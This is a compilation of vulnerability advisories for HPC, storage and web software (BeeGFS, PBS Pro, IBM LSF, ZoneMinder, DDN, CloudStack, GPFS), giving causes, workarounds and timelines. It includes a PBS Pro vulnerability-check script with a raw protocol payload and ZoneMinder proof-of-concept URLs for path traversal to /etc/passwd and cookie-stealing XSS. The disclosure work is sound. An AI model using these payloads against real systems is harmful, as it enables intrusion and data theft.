BeeGFS Privilege Escalation (CVE-2019-15897)
BeeGFS Privilege Escalation (CVE-2019-15897) * Software: BeeGFS * Affected Versions: All versions upto and including 7.1.3 * Vendor: ThinkparQ * CVE: CVE-2019-15897 * Severity: CVSS 9.6 (Critical) [CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H] * Author: John Fitzpatrick * Date: 2019-12-04 Description === BeeGFS is a "leading parallel cluster filesystem", used in many HPC environments. A vulnerability exists in a default installation of BeeGFS which allows users to perform operations which allow them to elevate their privileges and become root. This is due to a failure to properly authenticate a user when performing filesystem operations. BeeGFS deployments utilising the BeeGFS cloudformation template were also affected by this issue. Installations which are making use of connection-based authentication, using the connAuthFile option to specify a shared key, are not affected by this issue if the shared key is only readable by root. Without a connAuthFile configured any host able to communicate with the BeeGFS cluster can become part of the cluster and mount the BeeGFS filesystem. In order to resolve this issue BeeGFS users should configure connection-based authentication within their environment ensuring that the shared key is only readable by root. This will prevent non root users from exploiting this issue but will prevent non-root users from utilising utilities such as beegfs-ctl. Solution / Workaround = This vulnerability can be mitigated by making use of the connAuthFile configuration option. This option, whilst intended to restrict which hosts can communicate with BeeGFS, can also be leveraged to prevent non root users from gaining root as a result of this weakness. This is done by setting the path to a shared key within the BeeGFS configuration file on each node. An example of this is shown below: connAuthFile = /etc/beegfs/connauthfile The contents of the connAuthFile can be anything but must be the same on each host as this is a shared key. If this key is readable by non-root users then it will be ineffective in preventing the attacks described above (although hosts without access to the key from joining the cluster), the key must be configured readable only by root: $ ls -la /etc/beegfs/connauthfile -rw--- 1 root root 640 Aug 28 02:29 /etc/beegfs/connauthfile With the connAuthFile option configured BeeGFS will derive a 64 bit key from the file containing the secret and this value is used to authenticate the communication channels when they are initially established as well as any subsequent communication channels. When configured communications which have not first authenticated with this key are ignored and silently dropped by the BeeGFS cluster. This mitigation does prevents non-root users from using any BeeGFS utilities (beegfs-ctl, beegfs-check-servers, etc.). No specific fix has been provided by BeeGFS for this vulnerability, therefore updating versions of BeeGFS will (currently) not resolve this issue. The workaround described above is the official supported recommendation from BeeGFS. The BeeGFS cloudformation templates have been updated in order to make use of a shared key. Timeline 2019-08-23: Issue reported to ThinkparQ 2019-08-26: Acknowledgement from ThinkparQ 2019-09-05: Details of proposed remediation from ThinkparQ and proposed disclosure date 2019-11-17: HPCsec pre-advisory published 2019-11-19: Confirmation that cloudformation templates have been updated 2019-12-04: Advisory published = https://www.hpcsec.com/2019/12/04/cve-2019-15897/ =
PBS Professional MoM Authentication Bypass (CVE-2019-15719)
===
PBS Professional MoM Authentication Bypass (CVE-2019-15719)
===
* Software: PBS Professional
* Affected Versions: All versions up to and including 19.2.3
* Vendor: Altair Engineering, Inc
* CVE Reference: CVE-2019-15719
* Severity: CVSS 9.0 [CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H]
* Author: John Fitzpatrick
* Date: 2019-10-08
Description
===
HPCsec have identified a vulnerability in PBS Pro which allows for arbitrary
code execution on any node running the pbs_mom service. This vulnerability can
be exploited by anyone in a position to communicate with the pbs_mom service
from an authorized node within the cluster. Exploitation of this issue allows
for arbitrary code execution as any other user including as root, even in
installations where root is not permitted to submit jobs.
This issue arises as a result of the pbs_mom service failing to apply a
necessary security check before handling instructions sent to it.
By default the pbs_mom service runs on TCP port 15002. The following code can
be run to check whether a mom is vulnerable to this issue:
---BEGIN CODE::python---
import socket
import sys
if len(sys.argv) < 2:
print "ERROR: Please specify the address of pbs_mom"
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((sys.argv[1], 15002))
s.send("+2+1+1+1x+1x+1x2+222+15+1x+0+1x+02+24+1x+01+1x+02+12+1x+0+1x+02+14+1x+0+1x+02+"+
"131+1x+0+1x+02+411+1x+01+1x+02+241+1x+01+1x+02+261+1x+01+1x+02+12+1x+0+1x+02+1"+
"31+1x+0+1x+02+421+1x+01+1x+02+221+1x+1+1x+112+102+251+1x+1+1x+1x2+102+221+1x+0"+
"+1x2+103+3351+1x+01+1x+02+13+1x+0+1x+02+14+1x+0+1x2+102+19+1x+0+1x+02+12+1x+0+"+
"11+02+181+1x+0+210+02+29+6hpcsec+01+1x+02+141+1x+0+11+0+0")
response = s.recv(64)
if "Invalid" in response:
print "Vulnerable = NO"
elif "Access" in response:
print "Vulnerable = UNKNOWN (try again from a permitted host, e.g.
another mom or the pbs server)"
elif "Undefined" or "System" in response:
print "Vulnerable = YES"
else:
print "Vulnerable = UNKNOWN (unhandled response)"
except Exception, e:
print "ERROR: "+str(e)
# Download here: https://files.hpcsec.com/utilities/check-CVE-2019-15719.py
---END CODE---
Solution
A fix for this issue has been incorporated into all currently supported
versions of PBS Professional. Fixes are available in the following versions:
* 13.0.412
* 14.2.7
* 18.2.5
* 19.2.4 and newer
A fix is now available on GitHub for users of the open source 19.1.X branch.
The fix is incorporated into the current 19.1.2 release with no change to the
version number. Therefore earlier instances of 19.1.2 are vulnerable.
Those running earlier versions should update to the latest fixed version in the
relevant branch.
The updated versions are available from the Altair PBS Professional download
site (https://www.pbspro.org/Download.aspx#download).
Timeline
2019-08-22: Issue reported to Altair
2019-10-07: Patch available for all supported versions of PBS Pro
2019-10-08: HPCsec advisory published
https://www.hpcsec.com/2019/10/08/cve-2019-15719
dotCMS v5.1.1 Vulnerabilities
Hello,
I identified several vulnerabilities in dotCMS v5.1.1 due to vulnerable
open source dependencies.
Full security write up:
http://secureli.com/dotcms-v5-1-1-vulnerable-open-source-dependencies/
The details:
/ROOT/html/js/scriptaculous/prototype.js
↳ prototypejs 1.5.0
prototypejs 1.5.0 has known vulnerabilities: severity: high; CVE:
CVE-2008-7220; http://www.cvedetails.com/cve/CVE-2008-7220/
http://prototypejs.org/2008/01/25/prototype-1-6-0-2-bug-fixes-performance-improvements-and-security/
ROOT/assets/3/6/36c22c5d-c813-4869-a4b7-fcc10a74e8b6/fileAsset/jquery.min.js
↳ jquery 1.9.1
jquery 1.9.1 has known vulnerabilities: severity: medium; issue: 2432,
summary: 3rd party CORS request may execute, CVE: CVE-2015-9251;
https://github.com/jquery/jquery/issues/2432
http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/
https://nvd.nist.gov/vuln/detail/CVE-2015-9251
http://research.insecurelabs.org/jquery/test/ severity: medium; CVE:
CVE-2015-9251, issue: 11974, summary: parseHTML() executes scripts in
event handlers; https://bugs.jquery.com/ticket/11974
https://nvd.nist.gov/vuln/detail/CVE-2015-9251
http://research.insecurelabs.org/jquery/test/ severity: low; CVE:
CVE-2019-11358, summary: jQuery before 3.4.0, as used in Drupal,
Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, …)
because of Object.prototype pollution;
https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
https://nvd.nist.gov/vuln/detail/CVE-2019-11358
https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b
ROOT/assets/5/1/515cba4e-ac64-4523-b683-8e38329e7f46/fileAsset/bootstrap.min.js
↳ bootstrap 3.2.0
bootstrap 3.2.0 has known vulnerabilities: severity: high; issue: 28236,
summary: XSS in data-template, data-content and data-title properties of
tooltip/popover, CVE: CVE-2019-8331;
https://github.com/twbs/bootstrap/issues/28236 severity: medium; issue:
20184, summary: XSS in data-target property of scrollspy, CVE:
CVE-2018-14041; https://github.com/twbs/bootstrap/issues/20184 severity:
medium; issue: 20184, summary: XSS in collapse data-parent attribute,
CVE: CVE-2018-14040; https://github.com/twbs/bootstrap/issues/20184
severity: medium; issue: 20184, summary: XSS in data-container property
of tooltip, CVE: CVE-2018-14042;
https://github.com/twbs/bootstrap/issues/20184
ROOT/assets/9/9/99c7ffe7-e1c2-407f-85b7-ec483dbcf6f1/fileAsset/jquery.min.js
↳ jquery 3.3.1
jquery 3.3.1 has known vulnerabilities: severity: low; CVE:
CVE-2019-11358, summary: jQuery before 3.4.0, as used in Drupal,
Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, …)
because of Object.prototype pollution;
https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
https://nvd.nist.gov/vuln/detail/CVE-2019-11358
https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b
ROOT/assets/f/6/f6fa6b13-3a96-4cbf-9a75-19a40137f05a/fileAsset/jquery.min.js
↳ jquery 1.9.1
jquery 1.9.1 has known vulnerabilities: severity: medium; issue: 2432,
summary: 3rd party CORS request may execute, CVE: CVE-2015-9251;
https://github.com/jquery/jquery/issues/2432
http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/
https://nvd.nist.gov/vuln/detail/CVE-2015-9251
http://research.insecurelabs.org/jquery/test/ severity: medium; CVE:
CVE-2015-9251, issue: 11974, summary: parseHTML() executes scripts in
event handlers; https://bugs.jquery.com/ticket/11974
https://nvd.nist.gov/vuln/detail/CVE-2015-9251
http://research.insecurelabs.org/jquery/test/ severity: low; CVE:
CVE-2019-11358, summary: jQuery before 3.4.0, as used in Drupal,
Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, …)
because of Object.prototype pollution;
https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
https://nvd.nist.gov/vuln/detail/CVE-2019-11358
https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b
ROOT/assets/4/a/4a5a727f-369b-49e0-bff5-42d9efb4ba90/fileAsset/jquery-2.1.1.min.js
↳ jquery 2.1.1.min
jquery 2.1.1.min has known vulnerabilities: severity: medium; issue:
2432, summary: 3rd party CORS request may execute, CVE: CVE-2015-9251;
https://github.com/jquery/jquery/issues/2432
http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/
https://nvd.nist.gov/vuln/detail/CVE-2015-9251
http://research.insecurelabs.org/jquery/test/ severity: medium; CVE:
CVE-2015-9251, issue: 11974, summary: parseHTML() executes scripts in
event handlers; https://bugs.jquery.com/ticket/11974
https://nvd.nist.gov/vuln/detail/CVE-2015-9251
http://research.insecurelabs.org/jquery/test/ severity: low; CVE:
CVE-2019-11358, summary: jQuery before 3.4.0, as used in Drupal,
Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, …)
because of Object.prototype pollution;
https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
https://nvd.nist.gov/vuln/detail/CVE-2019-11358
https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b
[CVE-2017-1205] IBM Spectrum LSF Privilege Escalation
###[IBM Spectrum LSF Privilege Escalation]### * Software: IBM Spectrum LSF * Affected Versions: IBM Spectrum LSF 8.3, 9.1.1, 9.1.2, 9.1.3, 10.1, 10.1.0.1 * CVE Reference: CVE-2017-1205 * Author: John Fitzpatrick (@j0hn__f) * Severity: CVSS 9.3 * Vendor: IBM * Vendor Response: Fixes provided * Date: 2018-03-16 ### Description A vulnerability was identified within IBM Spectrum LSF which made it was possible to impersonate other users when submitting jobs for execution. Additionally, it was found to be possible to impersonate and execute jobs as root, even where root job submission is disabled. ### Impact This vulnerability allows for arbitrary code execution as any user of the LSF cluster, including as root. Exploitation should only be possible from hosts listed within lsf.cluster.cluster_name, which typically will include all hosts that form part of the cluster. However, some cluster use cases may be more open using ranges or wildcards; thus, exposure may extend beyond those with cluster access. ### Cause This issue arises as a result of series of security oversights within LSFs authentication mechanism: 1. A hardcoded key embedded within the eauth binary, which is shared across all LSF installations, makes it possible for anyone with a copy of eauth to generate authentication tokens for any user in a default installation. 2. Even where eauth is configured to use an external key (non-default), overriding getuid() results in the ability to generate authentication tokens as other users. 3. On receiving job requests, LSF performs authentication and authorisation checks against the authentication token, but then proceeds to submit the job for execution against a UID contained elsewhere in the message, which is not validated. It is this behaviour that circumvents controls that prevent root job execution. ### Interim Workaround Configure eauth to use an external key and set the setuid bit on the eauth binary in order to prevent users from runtime patching the eauth binary. Details on how to configure eauth to use an external key can be found here: https://www.ibm.com/support/knowledgecenter/en/SSWRJV_10.1.0/lsf_admin/ext_auth_kerb_lsf_about.html Eauth can be configured with the setuid bit set in the following manner: # chmod 4755 eauth The guidance above does not resolve LSFs failure to validate the UID under which the job is run. However, unless an authentication token is disclosed, or another vulnerabilities exist, it should not be possible for a user to exploit this weakness without already having administrative rights within the cluster. ### Solution IBM has provided some updates to address these issues, which can be found within their bulletin here: http://www-01.ibm.com/support/docview.wss?uid=isg3T1025091 These fixes do not configure LSF to utilise an external key which should be done by creating a key and setting LSF_EAUTH_KEY within lsf.sudoers: https://www.ibm.com/support/knowledgecenter/en/SSETD4_9.1.2/lsf_config_ref/lsf.sudoers.5.html At the time the updates were provided, they failed to set the setuid bit on eauth and so, failed to actually resolve a core part of the issue. However, the setuid bit is set on eauth by default in the most recent installations and can be set manually. It should be ensured that your eauth uses an external key, is root owned and has the setuid bit set (chmod 4755). If eauth has been configured to use an external key, but with no setuid bit set, then a new key should be generated. ### Detailed Timeline Date Summary 2017-03-28 Issue reported to IBM PSIRT 2017-04-07 IBM report issue resolved, patches and security bulletin released 2017-04-12 Additional technical detail on fixes provided to MWR by IBM PSIRT 2018-03-16 Advisory published by MWR ### Further Information Further details on eauth and how it works can be found here: https://www.ibm.com/support/knowledgecenter/en/SSWRJV_10.1.0/lsf_admin/ext_auth_kerb_lsf_about.html Information on setting up eauth to use an external key: https://www.ibm.com/support/knowledgecenter/en/SSETD4_9.1.2/lsf_config_ref/lsf.sudoers.5.html IBMs security bulletin relating to this issue can be found here: http://www-01.ibm.com/support/docview.wss?uid=isg3T1025091 The origional copy of this advisory can be found on the MWR Labs website here: https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-ibm-lsf-priv-esc-2018-03-15.pdf
ZoneMinder - multiple vulnerabilities
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
==
Product: ZoneMinder
Versions: Multiple versions - see inline
Vulnerabilities: File disclosure, XSS, CSRF, Auth bypass & Info disclosure
CVE-IDs: CVE-2017-5595, CVE-2017-5367, CVE-2017-5368, CVE-2016-10140
Author: John Marzella
Date: 03/02/2017
==
CVE-2016-10140 - Auth bypass and Info disclosure - affects v1.30 and v1.29
==
Contacted vendor on 08/11/2016
Apache HTTP Server configuration bundled with ZoneMinder allows a remote
unauthenticated attacker to browse all directories
in the web root, e.g., a remote unauthenticated attacker can view all CCTV
images on the server.
PoC: http:///events
Fix:
https://github.com/ZoneMinder/ZoneMinder/commit/71898df7565ed2a51dfe76a1cf30ddb81fc888ba
CVE-2017-5595 - File disclosure - affects v1.xx - code from 2008
Contacted vendor on 22/01/2017
File disclosure and inclusion vulnerability exists in ZoneMinder v1.30.0 due to
unfiltered user-input being passed to readfile() in views/file.php which allows
an authenticated attacker to read local system files (e.g. /etc/passwd) in the
context of the web server user (www-data).
PoC: http:///zm/index.php?view=file=/../../../../../etc/passwd
Fix:
https://github.com/ZoneMinder/ZoneMinder/commit/8b19fca9927cdec07cc9dd09bdcf2496a5ae69b3
CVE-2017-5367 - XSS - affects v1.30 and v1.29
=
Contacted vendor on 20/11/2016
Multiple reflected XSS exists.
The following has been injected into vulnerable URLs to show that the users
session cookie can be stolen.
%3Cscript%3Ealert(document.cookie);%3C/script%3E
In form input view using POST at http:///zm/
PoC:
http:///zm/index.php?action=login=postlogin%3Cscript%3Ealert(document.cookie);%3C/script%3E=1=testuser=testpassword
In link input view using GET at http:///zm/
PoC:
http:///zm/?view=groups%3Cscript%3Ealert(document.cookie);%3C/script%3E
In link input filter[terms][1][cnj] using GET at http:///zm/
PoC:
http:///zm/?view=events=1[terms][0][attr]=DateTime[terms][0][op]=%3E%3D[terms][0][val]=-1%2Bhour[terms][1][cnj]=and%3Cscript%3Ealert(document.cookie);%3C/script%3E[terms][1][attr]=MonitorId[terms][1][op]=%3D[terms][1][val]=1
In form input view using GET at http:///zm/index.php
PoC:
http:///zm/index.php?view=console%3Cscript%3Ealert(document.cookie);%3C/script%3E=1=Add%20New%20Monitor=Edit=Delete[]=2
In form input filter[terms][1][cnj] using POST at http:///zm/index.php
PoC:
http:///zm/index.php?view=events=1%5Bterms%5D%5B0%5D%5Battr%5D=Archived%5Bterms%5D%5B0%5D%5Bop%5D=%3D%5Bterms%5D%5B0%5D%5Bval%5D=1%5Bterms%5D%5B1%5D%5Bcnj%5D=and%3Cscript%3Ealert(document.cookie);%3C/script%3E%5Bterms%5D%5B1%5D%5Battr%5D=MonitorId%5Bterms%5D%5B1%5D%5Bop%5D=%3D%5Bterms%5D%5B1%5D%5Bval%5D=1
In form input filter[terms][1][cnj] using POST at http:///zm/
PoC:
http:///zm/?view=events=1%5Bterms%5D%5B0%5D%5Battr%5D=DateTime%5Bterms%5D%5B0%5D%5Bop%5D=%5Bterms%5D%5B0%5D%5Bval%5D=-1+hour%5Bterms%5D%5B1%5D%5Bcnj%5D=%3Cscript%3Ealert(document.cookie);%3C/script%3Eand%5Bterms%5D%5B1%5D%5Battr%5D=MonitorId%5Bterms%5D%5B1%5D%5Bop%5D==%5Bterms%5D%5B1%5D%5Bval%5D=1
In form input limit using POST at http:///zm/index.php
PoC:
http:///zm/index.php?view=events=1=1[terms][0][attr]=DateTime[terms][0][op]=%3E%3D[terms][0][val]=-1%2Bmonth_field=StartTime_asc=1=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
In link input limit using GET at http:///zm/index.php
PoC:
http:///zm/index.php?view=events=1%5Bterms%5D%5B0%5D%5Battr%5D=DateTime%5Bterms%5D%5B0%5D%5Bop%5D=%3E%3D%5Bterms%5D%5B0%5D%5Bval%5D=-1%2Bmonth_field=Id_asc=0=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
In form input limit using POST at http:///zm/
PoC:
http:///zm/?view=events=1=1_field=StartTime_asc=1=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
In link input limit using GET at http:///zm/
PoC:
http:///zm/?view=events=1_field=Id_asc=0=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
CVE-2017-5368 - CSRF - affects v1.30 and v1.29
==
Contacted vendor on 20/11/2016
No CSRF protection exists across entire web app.
PoC: The following html page silently adds a new admin user to Zoneminder if
the admin user is already logged in.
csrf_poc_addUser.html
document.getElementById("csrf-form").submit()
-BEGIN PGP SIGNATURE-
Version: GnuPG v1
iQIcBAEBAgAGBQJYlm6PAAoJEA6vWorZiWpjfdgP/25I6nicsAHEF2mFw070Y76O
wUx9Epy5e4YJthdPn0zt/Vp/jg6MyT4I9sYBeqoZo64WNfO0mefiIBi/g3bMr9pt
rmDwAx3QWi+HYO8qAF5bJ7uaGbC7+nVXoSeKCeAQDADVCt6lST
[MWR-2016-0002] DDN Default SSH Keys
###[DDN Default SSH Keys]### DDN SFA devices have default SSH keys in place * Product: DDN SFA storage devices, all versions, all models * Severity: High * CVE Reference: NO CVE ASSIGNED - MWR ref: MWR-2016-0002 * Type: Default Credentials * Author: John Fitzpatrick * Date: 2016-06-15 ## Description DDN controllers ship with a set of static entries within the authorized_keys file of several of the user accounts. The corresponding private keys can be obtained from publicly available sources. ## Impact An adversary can make use of these keys in order to gain access to the DDN controller even if the default passwords have been changed. ## Cause Insecure design and device hardening. ## Interim Workaround MWR strongly recommend restricting access to all DDN management interfaces via the use of ACLs until DDN provide an appropriate resolution to this issue. ## Solution DDN have not provided a solution to this and have indicated that they may resolve it towards the end of the second half of 2016. Exploitation of this issue combined with MWR-2016-0001 (DDN Insecure Imaging Process) can provide the access required in order to resolve this but may affect any warranty/support contract covering the devices. A solution to this issue will require a firmware update from DDN which removes these keys on deployment of new firmware. ## Further Information DDN controllers run a Debian derived Linux distribution which has a number of different users. Some of these users are configured with an authorized_keys entry permitting them to log in via SSH using the corresponding private key. The authorized_keys entries were found to be common across all DDN devices and versions tested meaning exposure of the corresponding private keys would provide an adversary access to all DDN devices. The corresponding private key was found to also be included within the firmware distributed for DDN controllers. DDN firmware is available for download by any DDN customer, although with some searching can also be found publicly too. The following user accounts on the DDN controllers were found to permit authentication using known keys. The respective MD5sums are shown below: diag: /home/diag/.ssh$ md5sum * e5138c922279b8d194896bacefc31992 authorized_keys d2a101dc1f8dd610c146735d71d7e77a id_rsa stats: /home/stats/.ssh$ md5sum * 7c3c7a068e07ed28a84eba1d3b4812a1 authorized_keys ffe5fdd80332ed5170851b3d8cdf6f30 id_rsa user: /home/user/.ssh$ md5sum * 7c3c7a068e07ed28a84eba1d3b4812a1 authorized_keys ffe5fdd80332ed5170851b3d8cdf6f30 id_rsa ddn: /ddn/.ssh$ md5sum * 1076f91f58db9040d87fe29b863ad5b7 authorized_keys 202a962bac24c892c1248dff050d413c id_rsa Anyone in possession of the respective private keys would be in a position to authenticate via SSH as any one of the users listed above. The root user does not have any authorized_keys entries, additionally the default SSH configuration does not permit root to log in via SSH. The firmware user also has no authorized_keys entries. When combined with the vulnerability described in DDN Insecure Update Process MWR-2016-0001 it is possible to gain full root access to a DDN controller. This advisory will be updated appropriately should DDN choose to provide a solution to this security issue. ## Timeline 2016-03-09: Initial contact made with DDN 2016-03-14: Conference call with DDN engineers 2016-03-15: Full vulnerability details provided to DDN 2016-05-16: Advisory released for limited disclosure 2016-06-15: Advisory released (Thanks to those who were key in identifying this vulnerability) The full MWRLabs maintained advisory can be found here: https://labs.mwrinfosecurity.com/advisories/ddn-default-ssh-keys/
[MWR-2016-0001] DDN Insecure Update Mechanism
###[DDN Insecure Update Process]### An insecure update mechanism on DDN SFA devices allows for privilege escalation * Product: DDN SFA storage devices, all versions, all models * Severity: High * CVE Reference: NO CVE ASSIGNED - MWR ref: MWR-2016-0001) * Type: Insecure update mechanism * Author: John Fitzpatrick * Date: 2016-06-15 ## Description The mechanism used for updating firmware on DDN controllers is insecure allowing for privilege escalation to root. ## Impact Exploitation of this issue can allow for code execution as root allowing an adversary to gain full access to the DDN controller. ## Cause This is caused by an insecure firmware update mechanism which does not validate the legitimacy of the firmware being uploaded. ## Interim Workaround MWR strongly recommend restricting access to all DDN management interfaces via the use of ACLs until DDN provide an appropriate resolution to this issue. In addition it should be ensured that appropriate mitigating controls are implemented for the accompanying advisory DDN Default SSH Keys MWR-2016-0002 and that default user account passwords are changed. ## Solution There is no vendor supplied solution to this vulnerability. When DDN have resolved this vulnerability DDN users should apply the appropriate fixes. It is recommended that DDN implement a signing mechanism that validates that firmware is from a trusted source before attempting to deploy it. Making use of public key cryptography in order to sign firmware would be a suitable approach if correctly implemented. DDN have, however, chosen not to comment on their preferred resolution or its progress but have indicated that they may resolve this issue towards the end of 2016. ## Further Information DDN firmware is provided as a .tar file. Within this archive is another archive containing the contents of the filesystem which, when an update is run, is extracted and deployed to disk. A number of shell scripts also execute during the update process and these are executed as root. Therefore, by either manipulating the shell scripts or by modifying the filesystem contents within the archive, it is possible perform activities which would provide full root access to the DDN device. There is a signing mechanism in place; however, this is focused on ensuring files are not corrupt rather than ensuring that files are from a legitimate source. Within janus.md5 is a list of MD5 checksums for all files within the archive. These entries can simply be replaced with new MD5s as appropriate. In order to perform an update, it is necessary to have access to accounts on the DDN controller. Our testing was performed via SSH using the firmware account to drop the firmware. This account has a very guessable password set by default. The ddn user account was then used in order to load the new config/firmware via the appropriate menu options. The ddn user also has a default password set, but this is much less guessable. However, even if the default passwords have been changed it will be possible to use the default SSH keys described in MWR-2016-0002 (DDN Default SSH Keys) in order to gain the required level of access in order to deploy the new firmware. Ironically, successful exploitation of this insecure update mechanism allows DDN users to remove the default SSH keys and secure their devices. Whether this would impact support contracts or warranties with DDN or other suppliers is unknown. This advisory will be updated should DDN choose to provide an appropriate solution to this security issue. ## Timeline 2016-03-09: Initial contact made with DDN 2016-03-14: Conference call with DDN engineers 2016-03-15: Full vulnerability details provided to DDN 2016-05-16: Advisory released for limited disclosure 2016-06-15: Advisory released (Thanks to those who were key in identifying this vulnerability) The full MWRLabs maintained advisory can be found here: https://labs.mwrinfosecurity.com/advisories/ddn-insecure-update-process/
CVE-2016-3085: Apache CloudStack Authentication Bypass Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 CVE-2016-3085: Apache CloudStack Authentication Bypass Vulnerability CVSS v2: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) Vendors: The Apache Software Foundation Accelerite, Inc Versions affected: CloudStack versions 4.5.0 and newer Description: Apache CloudStack contains an authentication module providing “single sign-on” functionality via the SAML data format. Under certain conditions, a user could manage to access the user interface without providing proper credentials. As the SAML plugin is disabled by default, this issue only affects installations that have enabled and use SAML-based authentication. Mitigation: Users of Apache CloudStack using the SAML plugin should upgrade to one of the following versions, based on which release they are currently using: 4.5.2.1, 4.6.2.1, 4.7.1.1, or 4.8.0.1. These versions contain only security updates, and no other functionality change. -BEGIN PGP SIGNATURE- Version: GnuPG v1 Comment: GPGTools - http://gpgtools.org iQIcBAEBCgAGBQJXWNuFAAoJEOom9N0pCN7Sw8EP/0Q5YgomRGEocod2Cmlfd/E9 JKSBdt38hTclPXcdi3w/1Fq88l54erfHuPLPJObpsIR/vQGiOU0K9KkaO5jYDHtR uFzb37PDzkR/x0tpfOvl1LqWOl89dSjF0qNAB8gi5ThqSWhBst70bjq0bR1aFxXx I05JzZgD4eye+3tYRcVoFPOkbP7E5pWFtPo9LKUdRL4bfSwskB7d5MOGUoBMQfBb vuMp7BikT3kMU7kiXNHKMCdd24iAQeiMOocZo7fPn70DiKANqLzinLxlWZHrd4Lh IPO/m35s52tIVFxXAIF5N7ThAhOCoqQykxykCAgZN1Wi5444/bBJ/ppaP3StWq8i gRTPzVYbniCTUfG4ynGZIwLwdDJxMb4M1kBdT3lpQWRhq24vE7/xSPANy8ipegvw rZ8EYS0b0Ud4Bx60+L3rCMBJAwlSaddX/DDHaYUU8hxT5NRoK0eiWf9p4jd40Ob4 BYM/9mi4tv4Wq6tIEqSZfVMdNKgY3+0oBP5HEhEmXSk9Th0rNLySB7Xpix7dC5iF 4I0kpki8BFirE6rBGiKNARdXZJ9QTUTUG/wk1Ndgoe4kJG3PtR6PuY9DAWomqecz aF/tmyIZXLeVEyZrS1rKLPlIjRHarALoQgB0Ln+UAhS0oyVJ5LrR4Ie70UDCMRNv rNjki8AjTUnQarsp14lT =+Tpv -END PGP SIGNATURE-
[CVE-2016-0392] IBM GPFS / Spectrum Scale Command Injection
###[IBM GPFS / Spectrum Scale Command Injection]### A command injection vulnerability in GPFS / Spectrum Scale allows attackers to escalate privileges to root * Product: IBM GPFS / Spectrum Scale * Severity: High * CVE Reference: CVE-2016-0392 * Type: Command injection * Author: John Fitzpatrick (@j0hn__f) * Date: 2016-06-07 ## Description IBMs General Parallel File System (GPFS), now known as Spectrum Scale, is affected by a vulnerability that allows an adversary on any system which mounts GPFS to inject commands which are later executed as root. ## Impact Exploitation of this vulnerability allows any user of a system with a GPFS filesystem mounted to execute commands as root across the GPFS cluster. ## Cause This is caused by a failure to safely handle arguments supplied to a number of setuid binaries. ## Affected Versions IBM Spectrum Scale V4.2.0.0 thru V4.2.0.2 IBM Spectrum Scale V4.1.1.0 thru V4.1.1.6 IBM GPFS V4.1.0.0 thru V4.1.0.8 IBM GPFS V3.5.0.0 thru V3.5.0.30 All older IBM GPFS versions no longer supported ## Interim Workaround IBM have provided patches in order to resolve this issue. It is recommended that these patches (described in the Solution section below) are applied. However, if this is not possible some workarounds may also be applied: Remove the setuid from the files in the /usr/lpp/mmfs/bin directory. These can be identified by running ls -l /usr/lpp/mmfs/bin | grep r-s Reset the setuid bit for each such file by issuing this command on each file chmod u-s file Once the workaround is applied, a number of commands may no longer work when not invoked by unprivileged users, including: mmchfileset mmcrsnapshot mmdelsnapshot mmdf mmedquota mmgetacl mmlsdisk mmlsfileset mmlsfs mmlsmgr mmlspolicy mmlspool mmlsquota mmlssnapshot mmputacl mmsnapdir (These workarounds are taken from the IBM supplied advisory which can be found at: http://www-01.ibm.com/support/docview.wss?uid=isg3T1023763) If the workarounds would not affect the usability of GPFS within your environment, then MWR recommend applying these workarounds in addition to the IBM supplied patches detailed below. ## Solution IBM have provided fixes for this issue; however, MWR have not tested the effectiveness of these patches: For IBM Spectrum Scale V4.2.0.0 thru V4.2.0.2, apply IBM Spectrum Scale V4.2.0.3 available from Fix Central at: http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Software%2Bdefined%2Bstorage=ibm/StorageSoftware/IBM+Spectrum+Scale=4.2.0=All=all For IBM Spectrum Scale V4.1.1.0 thru 4.1.1.6 and IBM GPFS V4.1.0.0 thru V4.1.0.8, apply V4.1.1.7 at: http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Software%2Bdefined%2Bstorage=ibm/StorageSoftware/IBM+Spectrum+Scale=4.1.1=All=all For IBM GPFS V3.5.0.0 thru V3.5.0.30, apply V3.5.0.31 at: http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Cluster%2Bsoftware=ibm/power/IBM+General+Parallel+File+System=3.5.0=All=all For older versions of IBM GPFS, if you have an extended service contract, please contact IBM Service. (These solutions are taken from the IBM supplied advisory which can be found at: http://www-01.ibm.com/support/docview.wss?uid=isg3T1023763) ## Further Information The IBM advisory relating to this issue can be found at the following location: http://www-01.ibm.com/support/docview.wss?uid=isg3T1023763 This issue is closely related to a format string issue in GPFS (CVE-2015-0197) found by Florian Grunwo and Felix Wilhelm of ERNW: http://www-01.ibm.com/support/docview.wss?uid=isg3T1022062 Further technical information may be released at a later date when users have had a chance to resolve this issue. ## Detailed Timeline 2016-04-02: Issue reported to vendor 2016-05-31: Patch and vendor advisory released 2016-06-07: MWR advisory released ## Advisory Information The full MWRLabs maintained advisory can be found here: https://labs.mwrinfosecurity.com/advisories/ibm-gpfs-spectrum-scale-command-injection/
CVE-2015-3252: Apache CloudStack VNC authentication issue
